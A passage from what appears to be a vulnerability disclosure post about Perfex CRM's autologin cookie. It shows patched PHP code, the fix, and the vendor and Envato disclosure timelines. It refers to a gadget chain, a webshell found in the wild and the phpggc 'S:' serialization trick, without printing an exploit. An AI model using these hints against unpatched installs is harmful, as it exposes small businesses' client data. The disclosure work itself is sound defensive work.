\u003cspan class=\"nv\"\u003e$data\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nx\"\u003ejson_decode\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e$cookie\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"k\"\u003etrue\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e            \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e!\u003c/span\u003e \u003cspan class=\"nx\"\u003eis_array\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e$data\u003c/span\u003e\u003cspan class=\"p\"\u003e))\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e                \u003cspan class=\"nx\"\u003edelete_cookie\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;autologin\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;aal\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e                \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"k\"\u003efalse\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e            \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e            \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003eisset\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e$data\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;key\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e])\u003c/span\u003e \u003cspan class=\"k\"\u003eand\u003c/span\u003e \u003cspan class=\"nx\"\u003eisset\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e$data\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;user_id\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e]))\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e                \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e!\u003c/span\u003e \u003cspan class=\"nx\"\u003eis_numeric\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e$data\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;user_id\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e])\u003c/span\u003e \u003cspan class=\"o\"\u003e||\u003c/span\u003e \u003cspan class=\"o\"\u003e!\u003c/span\u003e \u003cspan class=\"nx\"\u003eis_string\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e$data\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;key\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e]))\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e                    \u003cspan class=\"nx\"\u003edelete_cookie\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;autologin\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;aal\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e                    \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"k\"\u003efalse\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e                \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e                \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e!\u003c/span\u003e \u003cspan class=\"nx\"\u003eis_null\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e$user\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nv\"\u003e$this\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"na\"\u003euser_autologin\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"na\"\u003eget\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e                    \u003cspan class=\"nv\"\u003e$data\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;user_id\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e],\u003c/span\u003e \u003cspan class=\"nx\"\u003ehash\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;sha256\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nv\"\u003e$data\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;key\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e])\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e                \u003cspan class=\"p\"\u003e)))\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e                    \u003cspan class=\"c1\"\u003e// ...login proceeds\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eThe patched \u003ccode\u003ecreate_autologin()\u003c/code\u003e:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-php\" data-lang=\"php\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003eprivate\u003c/span\u003e \u003cspan class=\"k\"\u003efunction\u003c/span\u003e \u003cspan class=\"nf\"\u003ecreate_autologin\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e$user_id\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nv\"\u003e$staff\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"nv\"\u003e$this\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"na\"\u003eload\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"na\"\u003ehelper\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;cookie\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"nv\"\u003e$key\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nx\"\u003ebin2hex\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003erandom_bytes\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"mi\"\u003e32\u003c/span\u003e\u003cspan class=\"p\"\u003e));\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"nv\"\u003e$this\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"na\"\u003euser_autologin\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"na\"\u003edelete\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e$user_id\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nv\"\u003e$key\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nv\"\u003e$staff\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e$this\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"na\"\u003euser_autologin\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"na\"\u003eset\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e$user_id\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nx\"\u003ehash\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;sha256\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nv\"\u003e$key\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e \u003cspan class=\"nv\"\u003e$staff\u003c/span\u003e\u003cspan class=\"p\"\u003e))\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"nx\"\u003eset_cookie\u003c/span\u003e\u003cspan class=\"p\"\u003e([\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e            \u003cspan class=\"s1\"\u003e\u0026#39;name\u0026#39;\u003c/span\u003e  \u003cspan class=\"o\"\u003e=\u0026gt;\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;autologin\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e            \u003cspan class=\"s1\"\u003e\u0026#39;value\u0026#39;\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u0026gt;\u003c/span\u003e \u003cspan class=\"nx\"\u003ejson_encode\u003c/span\u003e\u003cspan class=\"p\"\u003e([\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e                \u003cspan class=\"s1\"\u003e\u0026#39;user_id\u0026#39;\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u0026gt;\u003c/span\u003e \u003cspan class=\"nv\"\u003e$user_id\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e                \u003cspan class=\"s1\"\u003e\u0026#39;key\u0026#39;\u003c/span\u003e     \u003cspan class=\"o\"\u003e=\u0026gt;\u003c/span\u003e \u003cspan class=\"nv\"\u003e$key\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e            \u003cspan class=\"p\"\u003e]),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e            \u003cspan class=\"s1\"\u003e\u0026#39;expire\u0026#39;\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u0026gt;\u003c/span\u003e \u003cspan class=\"mi\"\u003e60\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e \u003cspan class=\"mi\"\u003e60\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e \u003cspan class=\"mi\"\u003e24\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e \u003cspan class=\"mi\"\u003e31\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e \u003cspan class=\"mi\"\u003e2\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"p\"\u003e]);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"k\"\u003etrue\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"k\"\u003efalse\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eThe fix also adds type validation (\u003ccode\u003eis_array()\u003c/code\u003e, \u003ccode\u003eis_numeric()\u003c/code\u003e, \u003ccode\u003eis_string()\u003c/code\u003e) on the decoded cookie data before use, and the autologin token is now \u003ccode\u003ebin2hex(random_bytes(32))\u003c/code\u003e stored as \u003ccode\u003ehash('sha256', $key)\u003c/code\u003e.\u003c/p\u003e\n\u003cp\u003etl;dr Update to 3.4.1.\u003c/p\u003e\n\u003ch2 id=\"disclosure-process-notes\"\u003eDisclosure process notes\u003ca href=\"#disclosure-process-notes\" class=\"heading-anchor\" aria-label=\"Link to this section\"\u003e\u003cspan aria-hidden=\"true\"\u003e#\u003c/span\u003e\u003c/a\u003e\n\u003c/h2\u003e\n\u003cp\u003eI reported this on 2026-01-05, shared technical details on 2026-01-08. After that it was hard to get responses, even after I escalated to Envato.\u003csup id=\"fnref:4\"\u003e\u003ca href=\"#fn:4\" class=\"footnote-ref\" role=\"doc-noteref\"\u003e4\u003c/a\u003e\u003c/sup\u003e Disclosure-to-patch was 67 days, within our 120-day window. 44 of those days were silence.\u003c/p\u003e\n\u003cp\u003eWhile this was ongoing, a Perfex CRM user \u003ca href=\"https://codecanyon.net/item/perfex-powerful-open-source-crm/14013737/comments?page=2\u0026amp;filter=all#comment_31909364\"\u003epublicly reported\u003c/a\u003e finding two backdoors on their server: a webshell decrypting and executing attacker requests via \u003ccode\u003eeval()\u003c/code\u003e, and a script using cookie-delivered PHP to write files to arbitrary paths. The second one matches this gadget chain. I shared this with both the vendor and Envato.\u003c/p\u003e\n\u003cp\u003eI considered publishing earlier. Perfex CRM stores client records, invoices, contracts, and personal data. Its users are small businesses that bought a PHP script on CodeCanyon. They don\u0026rsquo;t have WAFs or incident response plans. A manual fix exists but requires PHP knowledge most of them probably don\u0026rsquo;t have, and publishing a mitigation would point attackers straight to the vulnerable code. I judged it would cause more harm than it prevented.\u003c/p\u003e\n\u003cp\u003eIf you\u0026rsquo;re a Perfex CRM user, assume compromise. Start from a clean install and rotate all secrets and passwords in Perfex.\u003c/p\u003e\n\u003cp\u003eFeedback on how this was handled is welcome: \u003ca href=\"/contact\"\u003eget in touch\u003c/a\u003e.\u003c/p\u003e\n\u003ch2 id=\"timeline\"\u003eTimeline\u003ca href=\"#timeline\" class=\"heading-anchor\" aria-label=\"Link to this section\"\u003e\u003cspan aria-hidden=\"true\"\u003e#\u003c/span\u003e\u003c/a\u003e\n\u003c/h2\u003e\n\u003ch3 id=\"vendor-timeline\"\u003eVendor timeline\u003ca href=\"#vendor-timeline\" class=\"heading-anchor\" aria-label=\"Link to this section\"\u003e\u003cspan aria-hidden=\"true\"\u003e#\u003c/span\u003e\u003c/a\u003e\n\u003c/h3\u003e\n\u003ctable\u003e\n  \u003cthead\u003e\n      \u003ctr\u003e\n          \u003cth\u003eDate\u003c/th\u003e\n          \u003cth\u003eEvent\u003c/th\u003e\n      \u003c/tr\u003e\n  \u003c/thead\u003e\n  \u003ctbody\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e2026-01-05\u003c/td\u003e\n          \u003ctd\u003eReported to vendor and asked for a security contact.\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e2026-01-08\u003c/td\u003e\n          \u003ctd\u003eShared technical details with vendor.\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e2026-01-14\u003c/td\u003e\n          \u003ctd\u003eRequested update and remediation timeline.\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e2026-01-28\u003c/td\u003e\n          \u003ctd\u003eRequested update and remediation timeline, explained I will escalate the findings to Envato on 2026-02-02.\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e2026-02-07\u003c/td\u003e\n          \u003ctd\u003eShared active exploitation concern with vendor (\u003ca href=\"https://codecanyon.net/item/perfex-powerful-open-source-crm/14013737/comments?page=2\u0026amp;filter=all#comment_31909364\"\u003eCodeCanyon comment\u003c/a\u003e).\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e2026-02-08\u003c/td\u003e\n          \u003ctd\u003eForwarded disclosure email to another address affiliated with the project.\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e2026-02-13\u003c/td\u003e\n          \u003ctd\u003eRequested update and remediation timeline.\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e2026-02-13\u003c/td\u003e\n          \u003ctd\u003eForwarded disclosure email to another address affiliated with the project.\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e2026-02-17\u003c/td\u003e\n          \u003ctd\u003ePosted a \u003ca href=\"https://codecanyon.net/item/perfex-powerful-open-source-crm/14013737/comments?page=1\u0026amp;filter=all#comment_31924153\"\u003epublic comment on CodeCanyon\u003c/a\u003e requesting a response. Another developer replied claiming the security concerns had already been addressed. They had not.\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e2026-02-18\u003c/td\u003e\n          \u003ctd\u003eVendor replied and shared first patch.\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e2026-02-18\u003c/td\u003e\n          \u003ctd\u003eSent patch feedback to vendor.\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e2026-02-18\u003c/td\u003e\n          \u003ctd\u003eVendor shared second patch.\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e2026-02-18\u003c/td\u003e\n          \u003ctd\u003eConfirmed second patch looked ok.\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e2026-03-07\u003c/td\u003e\n          \u003ctd\u003eRequested update and remediation timeline.\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e2026-03-09\u003c/td\u003e\n          \u003ctd\u003eVendor responded that release work was in progress.\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e2026-03-09\u003c/td\u003e\n          \u003ctd\u003eFollowed up and re-raised exploitation concern.\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e2026-03-13\u003c/td\u003e\n          \u003ctd\u003ePatch released (\u003ca href=\"https://help.perfexcrm.com/version-3-4-1-security-maintenance-release/\"\u003ev3.4.1 security maintenance release\u003c/a\u003e).\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e2026-03-16\u003c/td\u003e\n          \u003ctd\u003eThis post.\u003c/td\u003e\n      \u003c/tr\u003e\n  \u003c/tbody\u003e\n\u003c/table\u003e\n\u003ch3 id=\"envato-timeline\"\u003eEnvato timeline\u003ca href=\"#envato-timeline\" class=\"heading-anchor\" aria-label=\"Link to this section\"\u003e\u003cspan aria-hidden=\"true\"\u003e#\u003c/span\u003e\u003c/a\u003e\n\u003c/h3\u003e\n\u003ctable\u003e\n  \u003cthead\u003e\n      \u003ctr\u003e\n          \u003cth\u003eDate\u003c/th\u003e\n          \u003cth\u003eEvent\u003c/th\u003e\n      \u003c/tr\u003e\n  \u003c/thead\u003e\n  \u003ctbody\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e2026-02-02\u003c/td\u003e\n          \u003ctd\u003eReached out to Envato.\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e2026-02-03\u003c/td\u003e\n          \u003ctd\u003eEnvato responded and requested PoC.\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e2026-02-03\u003c/td\u003e\n          \u003ctd\u003eShared PoC with Envato.\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e2026-02-04\u003c/td\u003e\n          \u003ctd\u003eShared exploitation concern with Envato (\u003ca href=\"https://codecanyon.net/item/perfex-powerful-open-source-crm/14013737/comments?page=2\u0026amp;filter=all#comment_31909364\"\u003eCodeCanyon comment\u003c/a\u003e).\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e2026-02-13\u003c/td\u003e\n          \u003ctd\u003eRequested update and remediation timeline.\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e2026-02-18\u003c/td\u003e\n          \u003ctd\u003eEnvato acknowledged a report backlog and delay in handling.\u003csup id=\"fnref:5\"\u003e\u003ca href=\"#fn:5\" class=\"footnote-ref\" role=\"doc-noteref\"\u003e5\u003c/a\u003e\u003c/sup\u003e\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e2026-02-18\u003c/td\u003e\n          \u003ctd\u003eEnvato said the author had been chased.\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e2026-03-12\u003c/td\u003e\n          \u003ctd\u003eRequested Envato contact the vendor again.\u003c/td\u003e\n      \u003c/tr\u003e\n  \u003c/tbody\u003e\n\u003c/table\u003e\n\u003cdiv class=\"footnotes\" role=\"doc-endnotes\"\u003e\n\u003chr\u003e\n\u003col\u003e\n\u003cli id=\"fn:1\"\u003e\n\u003cp\u003e35,000+ sales on CodeCanyon at the time of writing.\u0026#160;\u003ca href=\"#fnref:1\" class=\"footnote-backref\" role=\"doc-backlink\"\u003e\u0026#x21a9;\u0026#xfe0e;\u003c/a\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003cli id=\"fn:2\"\u003e\n\u003cp\u003eGoogling would have been faster, but reading the lexer was more fun!\u0026#160;\u003ca href=\"#fnref:2\" class=\"footnote-backref\" role=\"doc-backlink\"\u003e\u0026#x21a9;\u0026#xfe0e;\u003c/a\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003cli id=\"fn:3\"\u003e\n\u003cp\u003eThe \u003ccode\u003eS:\u003c/code\u003e format was unknown to me at the time of discovery. I\u0026rsquo;ve since found that phpggc has supported it since \u003ca href=\"https://github.com/ambionics/phpggc/commit/970ee4a86d206b637f6bec511a4f5b7a2d118889\"\u003eNovember 2018\u003c/a\u003e via its \u003ccode\u003e-a\u003c/code\u003e flag, and that most documentation of the technique is in Chinese security blogs (e.g. \u003ca href=\"https://wiki.wgpsec.org/knowledge/ctf/php-serialize.html\"\u003eWGPSEC\u003c/a\u003e, \u003ca href=\"https://lazzzaro.github.io/2020/05/15/web-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/index.html\"\u003eLazzaro\u003c/a\u003e, \u003ca href=\"https://medium.com/@lyltvip/php-deserialization-escape-970cd8ea714e\"\u003elanyi\u003c/a\u003e).\u0026#160;\u003ca href=\"#fnref:3\" class=\"footnote-backref\" role=\"doc-backlink\"\u003e\u0026#x21a9;\u0026#xfe0e;\u003c/a\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003cli id=\"fn:4\"\u003e\n\u003cp\u003eAround the same time, \u003ca href=\"https://codecanyon.net/item/perfex-powerful-open-source-crm/14013737/comments?page=2\u0026amp;filter=all#comment_31919413\"\u003eanother user on CodeCanyon\u003c/a\u003e reported a security concern and was told to renew their support license before the vendor would engage.\u0026#160;\u003ca href=\"#fnref:4\" class=\"footnote-backref\" role=\"doc-backlink\"\u003e\u0026#x21a9;\u0026#xfe0e;\u003c/a\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003cli id=\"fn:5\"\u003e\n\u003cp\u003e\u0026ldquo;We\u0026rsquo;ve had a 7000% (yes seven thousand) increase in vulnerability reports over the last 2 years and while we\u0026rsquo;re improving the way we deal with them, we sometimes get a little behind - I know that\u0026rsquo;s not great in cases like this where speed is of the essence.\u0026rdquo;\u0026#160;\u003ca href=\"#fnref:5\" class=\"footnote-backref\" role=\"doc-backlink\"\u003e\u0026#x21a9;\u0026#xfe0e;\u003c/a\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ol\u003e\n\u003c/div\u003e\n"}